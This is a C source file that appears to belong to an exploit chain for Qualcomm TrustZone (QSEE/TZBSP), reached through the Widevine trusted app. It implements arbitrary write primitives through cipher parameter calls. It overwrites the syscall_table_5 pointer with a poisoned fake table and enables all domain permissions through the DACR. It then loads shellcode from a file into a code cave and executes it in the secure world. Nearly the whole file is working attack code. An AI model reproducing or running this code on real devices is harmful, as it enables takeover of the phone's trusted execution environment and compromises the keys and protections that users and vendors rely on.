#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include "tzbsp_exploit.h"
#include "qsee_syscalls.h"
#include "widevine_commands.h"
#include "exploit_utilities.h"
#include "symbols.h"
#include "tzbsp_symbols.h"

/**
 * The cipher buffer used to read DWORDs.
 */
uint32_t g_cipher = 0;

/**
 * The source address (within QSEE) which contains the value to be written to TZBSP.
 */
uint32_t g_write_buf = 0;

/**
 * The scratch buffer used to house the function arguments and fake syscall table for tzbsp_execute_function
 */
uint32_t g_scratch_buffer = 0;

/**
 * A flag indicating whether or not we've already overwritten the TZBSP data structures
 * needed to execute a function within TZBSP.
 */
uint32_t g_wrote_exec_function_data = 0;

void tzbsp_write_dword(struct qcom_wv_handle* handle, void* app, uint32_t value, uint32_t address) {

	if (g_write_buf == 0) {
		//Allocating the space for the cipher buffer
		g_write_buf = tz_malloc(handle, app, sizeof(uint32_t));
		printf("[+] Allocated TZ buffer: %08X\n", g_write_buf);

	}
	if (g_cipher == 0) {	
		//Initializing the cipher
	    uint32_t init_res = qsee_syscall(handle, app, QSEE_CIPHER_INIT, 0, g_write_buf, 0);
	    g_cipher = read_dword(handle, app, g_write_buf);
	    printf("[+] Initialize cipher: %d, Cipher address: %08X\n", init_res, g_cipher);
	}

	//Writing the value to the write buffer
	write_dword(handle, app, value, g_write_buf);

	//Writing each byte 
	for (int i=0; i<sizeof(uint32_t); i++) {

		//Setting the wanted byte
		execute_function(handle, app, (uint32_t)app + QSEE_CIPHER_SET_PARAM_OFFSET, g_cipher, 3, g_write_buf + i, 1);

		//Writing the byte back
		execute_function(handle, app, (uint32_t)app + QSEE_CIPHER_GET_PARAM_OFFSET, g_cipher, 3, address + i, 1);

	}

}

void tzbsp_write_range(struct qcom_wv_handle* handle, void* app, uint32_t address, void* data, uint32_t length) {

	//Writing all the DWORDs in the buffer
	for (int i=0; i<length/sizeof(uint32_t); i++) {
		tzbsp_write_dword(handle, app, ((uint32_t*)data)[i], address + i*sizeof(uint32_t));
	}

	//Writing the remaining bytes
	uint32_t last_idx = (length / sizeof(uint32_t)) * sizeof(uint32_t);
	for (int i=0; i<length % sizeof(uint32_t); i++) {
		tzbsp_execute_function(handle,
		 					   app,
						 	   TZBSP_WRITE_BYTE,
							   2,
						 	   address + (last_idx * sizeof(uint32_t)) + i,
						 	   ((uint8_t*)data)[last_idx + i],
						 	   0,
						 	   0,
							   0,
							   0,
							   0);
	}

}


uint32_t tzbsp_execute_function(struct qcom_wv_handle* handle, void* app, uint32_t function_address, uint32_t num_arguments,
							    uint32_t arg1, uint32_t arg2, uint32_t arg3, uint32_t arg4,
								uint32_t arg5, uint32_t arg6, uint32_t arg7) {

	//Did we overwrite the needed TZBSP data structures yet?
	if (g_wrote_exec_function_data == 0) {
		
		//Allocating a buffer in QSEE in which we'll house the fake syscall table and argument list
		g_scratch_buffer = tz_malloc(handle, app, 0x100);
		printf("[+] Allocated TZ scratch buffer: %08X\n", g_scratch_buffer);
	
		//Writing the fake syscall_table_5
		//This is identical to the original table, but the first syscall is replaced with our stub
		uint32_t index = 0x30 / sizeof(uint32_t);
		printf("[+] Writing the fake syscall table\n");

        //A small macro used to write all the "original" syscall entries
        #define WRITE_SYSCALL_ENTRY(x) \
            tzbsp_write_dword(handle, app, x, g_scratch_buffer + (index++) * sizeof(uint32_t)); \
            tzbsp_write_dword(handle, app, SYSCALL_TABLE_5_ENTRY_##x, g_scratch_buffer + (index++) * sizeof(uint32_t));
       
        //Writing our "poisoned" entry 
		tzbsp_write_dword(handle, app, 1,                g_scratch_buffer + (index++) * sizeof(uint32_t));
		tzbsp_write_dword(handle, app, EXECUTE_FUNCTION, g_scratch_buffer + (index++) * sizeof(uint32_t)); //syscall -0x8

        //Writing the "original" entries
		WRITE_SYSCALL_ENTRY(0x2);
		WRITE_SYSCALL_ENTRY(0x3);
		WRITE_SYSCALL_ENTRY(0x4);
		WRITE_SYSCALL_ENTRY(0x5);
		WRITE_SYSCALL_ENTRY(0x6);
		WRITE_SYSCALL_ENTRY(0x7);
		WRITE_SYSCALL_ENTRY(0x8);
		WRITE_SYSCALL_ENTRY(0x9);
        WRITE_SYSCALL_ENTRY(0xA);
		WRITE_SYSCALL_ENTRY(0xB);
		WRITE_SYSCALL_ENTRY(0xC);
		WRITE_SYSCALL_ENTRY(0xD);
		WRITE_SYSCALL_ENTRY(0xE);
		WRITE_SYSCALL_ENTRY(0xF);

        //Writing the table delimiter
        tzbsp_write_dword(handle, app, 0xFFFFFFFF,       g_scratch_buffer + (index++) * sizeof(uint32_t));
		tzbsp_write_dword(handle, app, 0x0,              g_scratch_buffer + (index++) * sizeof(uint32_t)); 
		
		//Overwriting the address of the pointer to syscall_table_5
		printf("[+] Overwriting syscall_table_5 pointer\n");
		tzbsp_write_dword(handle, app, g_scratch_buffer + 0x30, SYSCALL_5_POINTER_ADDRESS);
	
		g_wrote_exec_function_data = 1;

	}

	//Now, we prepare the arguments for the function in the scratch-pad
	printf("[+] Writing the function arguments\n");
	tzbsp_write_dword(handle, app, arg1, g_scratch_buffer + 0x10);
	tzbsp_write_dword(handle, app, arg2, g_scratch_buffer + 0x10 + 4);
	tzbsp_write_dword(handle, app, arg3, g_scratch_buffer + 0x10 + 8);
	tzbsp_write_dword(handle, app, arg4, g_scratch_buffer + 0x10 + 12);
	tzbsp_write_dword(handle, app, arg5, g_scratch_buffer + 0x10 + 16);
	tzbsp_write_dword(handle, app, arg6, g_scratch_buffer + 0x10 + 20);
	tzbsp_write_dword(handle, app, arg7, g_scratch_buffer + 0x10 + 24);

	//Now simply execute the function with the wanted arguments
	return qsee_syscall(handle, app, QSEE_SYSCALL_8, g_scratch_buffer, function_address, num_arguments);
}

uint32_t tzbsp_load_and_exec_chunk(struct qcom_wv_handle* handle, void* app, void* data, uint32_t length) {

	//Setting the DACR to be fully enabled
	//So that we can write and modify loaded application code
    tzbsp_execute_function(handle, app, TZBSP_SET_DACR, 1, 0xFFFFFFFF, 0, 0, 0, 0, 0, 0);
    printf("[+] Enabled all domain permissions\n");

	//Writing new code to the code cave (now that the domain permissions are set)
	uint32_t code_cave_address = (uint32_t)app + CODE_CAVE_OFFSET;
	tzbsp_write_range(handle, app, code_cave_address, data, length);

	//Flushing the data cache
	uint32_t flush_dcache_res = tzbsp_execute_function(handle, app, TZBSP_FLUSH_DATA_CACHE, 2, code_cave_address & (~0xFFF), length, 0, 0, 0, 0, 0);
	printf("[+] Flush data cache: %08X\n", flush_dcache_res);

	//Flushing the MMU cache and instruction cache
	uint32_t flush_mmu_cache_res = tzbsp_execute_function(handle, app, TZBSP_FLUSH_MMU_CACHE_INST_CACHE, 0, 0, 0, 0, 0, 0, 0, 0);
	printf("[+] Flush MMU cache & instruction cache: %d\n", flush_mmu_cache_res);

	//Invalidating the instruction cache
	uint32_t invalidate_icache_res = tzbsp_execute_function(handle, app, TZBSP_INVALIDATE_INSTRUCTION_CACHE, 2, code_cave_address & (~0xFFF), length, 0, 0, 0, 0, 0);
	printf("[+] Invalidate instruction cache: %d\n", invalidate_icache_res);

	//Executing the written code!
	return tzbsp_execute_function(handle, app, code_cave_address + 1, 0, 0, 0, 0, 0, 0, 0, 0);
}

int tzbsp_load_and_exec_file(struct qcom_wv_handle* handle, void* app, const char* path, uint32_t* exec_res) {

	//Loading the code chunk
	FILE* chunk_file = fopen(path, "rb");
	if (!chunk_file) {
		perror("[-] Failed to open code chunk file");
		return -errno;
	}
	fseek(chunk_file, 0, SEEK_END);
	long chunk_file_size = ftell(chunk_file);
	fseek(chunk_file, 0, SEEK_SET);

	//Making sure the size doesn't exceed the code cave's size
	if (chunk_file_size > CODE_CAVE_SIZE) {
		printf("[-] Code file too large (size: %08X, code cave size: %08X)\n", (unsigned)chunk_file_size, CODE_CAVE_SIZE);
		fclose(chunk_file);
		return -ENOMEM;
	}

	//Allocating a buffer for the file
	void* code_chunk = malloc(chunk_file_size);
	if (!code_chunk) {
		perror("[-] Failed to allocate buffer");
		fclose(chunk_file);
		return -errno;
	}
	fread(code_chunk, chunk_file_size, 1, chunk_file);
	fclose(chunk_file);

	//Loading and executing the code!
	*exec_res = tzbsp_load_and_exec_chunk(handle, app, code_chunk, chunk_file_size);
	free(code_chunk);

	return 0;

}
